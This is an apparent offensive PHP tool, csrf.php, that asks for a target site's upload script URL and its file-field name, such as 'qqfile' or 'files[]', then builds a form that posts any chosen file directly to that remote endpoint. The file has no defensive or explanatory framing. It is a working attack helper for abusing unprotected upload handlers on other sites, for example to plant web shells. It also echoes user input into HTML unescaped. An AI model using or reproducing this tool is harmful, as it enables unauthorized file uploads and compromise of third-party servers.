csrf.php

<?php
$url=$_POST['url'];
$pf=$_POST['pf'];
$act=$_POST['action'];
if(isset($act)) {
echo "
<center>
<form method='post' target='_blank' action='$url' enctype='multipart/form-data'>
<input type='file' name='$pf'>
<input type='submit' value='Upload'>
</form>
</center>";
} else {
?>
<center>
<form method="post">
<input type="text" name="url" size="50" height="10" placeholder="http://www.target.com/[path]/upload.php" required/><br>
<input type="text" name="pf" size="50" height="10" placeholder="Filedata / files[] / qqfile / userfile / dll" required/><br>
<input type="submit" name="action" value="Lock">
</form>
</center>
<?php
}